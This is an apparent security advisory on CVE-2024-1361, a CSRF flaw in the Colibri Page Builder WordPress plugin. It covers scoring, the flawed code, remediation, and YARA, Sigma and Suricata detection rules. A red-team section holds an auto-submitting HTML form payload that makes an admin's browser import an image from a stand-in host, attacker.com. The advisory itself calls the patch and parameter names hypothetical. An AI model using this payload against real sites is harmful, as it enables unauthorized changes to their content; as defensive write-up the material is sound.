CVE-2024-1361

Executive Summary

CVE-2024-1361 is a Cross-Site Request Forgery (CSRF) vulnerability in the Colibri Page Builder plugin for WordPress, affecting all versions up to and including 1.0.253. The vulnerability resides in the apiCall() function, which lacks proper nonce validation. This oversight allows an unauthenticated attacker to forge requests that, when triggered by a logged-in administrator (e.g., via a malicious link), can perform limited actions such as importing images, deleting posts, or saving theme data. The CVSS score is 4.3 (Medium), with a low EPSS probability of 0.0%, indicating that exploitation is not currently widespread. As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve the underlying web server (Apache/Nginx).

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users should verify the integrity of their plugin installation by checking the plugin version and comparing checksums if available. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors distributing modified versions.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – the attacker must trick an administrator into clicking a link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: Low (I:L) – limited to importing images, deleting posts, or saving theme data.
• Availability Impact: None (A:N)

Threat Level: Medium. While the impact is limited, the low attack complexity and lack of authentication requirements make it a viable vector for social engineering attacks.

Deep Dive & Mechanics

The Colibri Page Builder plugin registers an AJAX action handler via the apiCall() function. This function is intended to process various administrative tasks, such as importing media, managing posts, and updating theme settings. The vulnerability arises because the function does not verify a nonce (a one-time token) before executing the requested action. In WordPress, nonces are used to protect against CSRF by ensuring that requests originate from the legitimate admin interface.

An attacker can craft a malicious HTML page or email containing a link that triggers a POST request to the vulnerable endpoint. If an authenticated administrator clicks the link, the browser automatically includes the admin’s session cookies, and the request is processed as if it were legitimate. The attacker can then:

• Import arbitrary images from external URLs.
• Delete posts (by post ID).
• Save theme data (e.g., modify site settings).

The limited set of functions available reduces the overall impact, but the ability to delete posts or alter theme data can still cause significant disruption.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.0.253):

function apiCall() {
    // No nonce verification
    $action = $_POST['action'];
    // Process action...
}

Patched Code (Hypothetical):

function apiCall() {
    // Verify nonce
    if ( ! isset( $_POST['_wpnonce'] ) || ! wp_verify_nonce( $_POST['_wpnonce'], 'colibri_api_nonce' ) ) {
        wp_die( 'Security check failed.' );
    }
    $action = $_POST['action'];
    // Process action...
}

The patch adds a call to wp_verify_nonce() to ensure the request includes a valid nonce. Without this, any authenticated user can be tricked into performing unintended actions.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Colibri Page Builder <= 1.0.253.
• An authenticated administrator session (the victim).

Exploitation Steps:

1. Craft a malicious HTML page that automatically submits a POST request to the vulnerable endpoint.
2. Host the page on an attacker-controlled server or send it as an email.
3. Trick the administrator into visiting the page (e.g., via phishing).

Example Payload (HTML):

<html>
<body>
<form action="http://target.com/wp-admin/admin-ajax.php" method="POST">
  <input type="hidden" name="action" value="colibri_api_call">
  <input type="hidden" name="function" value="import_image">
  <input type="hidden" name="url" value="http://attacker.com/malicious.jpg">
  <input type="submit" value="Click here">
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

Note: The exact parameter names may vary; refer to the plugin source for the specific AJAX action and function names.

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with parameters like action=colibri_api_call.
• Look for spikes in image imports or post deletions from a single session.
• Alert on requests lacking a valid nonce (if logging is enabled).

Prevention:

• Apply the patch as soon as it becomes available.
• Use Web Application Firewall (WAF) rules to block requests to admin-ajax.php that do not include a nonce.
• Educate administrators about phishing risks.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=colibri_api_call and no _wpnonce parameter.
  • Unusual outbound connections to external image URLs (e.g., from import_image function).
• File System:
  • Unexpected images in the WordPress media library.
  • Modified theme settings in the database.
• Logs:
  • WordPress debug logs showing failed nonce checks (if patched).
  • Access logs with repeated admin-ajax.php requests from the same IP.

Detection Engineering

YARA Rule

rule CVE_2024_1361_Colibri_CSRF {
    meta:
        description = "Detects vulnerable Colibri Page Builder plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1361"
    strings:
        $func = "function apiCall()" ascii wide nocase
        $nonce_missing = "wp_verify_nonce" ascii wide nocase
    condition:
        $func and not $nonce_missing
}

Sigma Rule

title: CVE-2024-1361 Colibri Page Builder CSRF Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF exploitation attempts against Colibri Page Builder
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=colibri_api_call'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-1361 Colibri Page Builder CSRF Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=colibri_api_call";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-1361;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if no patch is available and the functionality is not critical.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php that lack a nonce parameter.
3. Educate administrators about the risks of clicking untrusted links.

Long-Term Fix:

• Apply the official patch from the vendor once released.
• Consider switching to an alternative page builder plugin that is actively maintained.

Workaround:

• Add a custom nonce check by modifying the plugin code (if you have development resources):

add_action( 'wp_ajax_colibri_api_call', function() {
    if ( ! wp_verify_nonce( $_POST['_wpnonce'], 'colibri_api_nonce' ) ) {
        wp_die( 'Security check failed.' );
    }
    // Original function logic
}, 1 );

Valters IT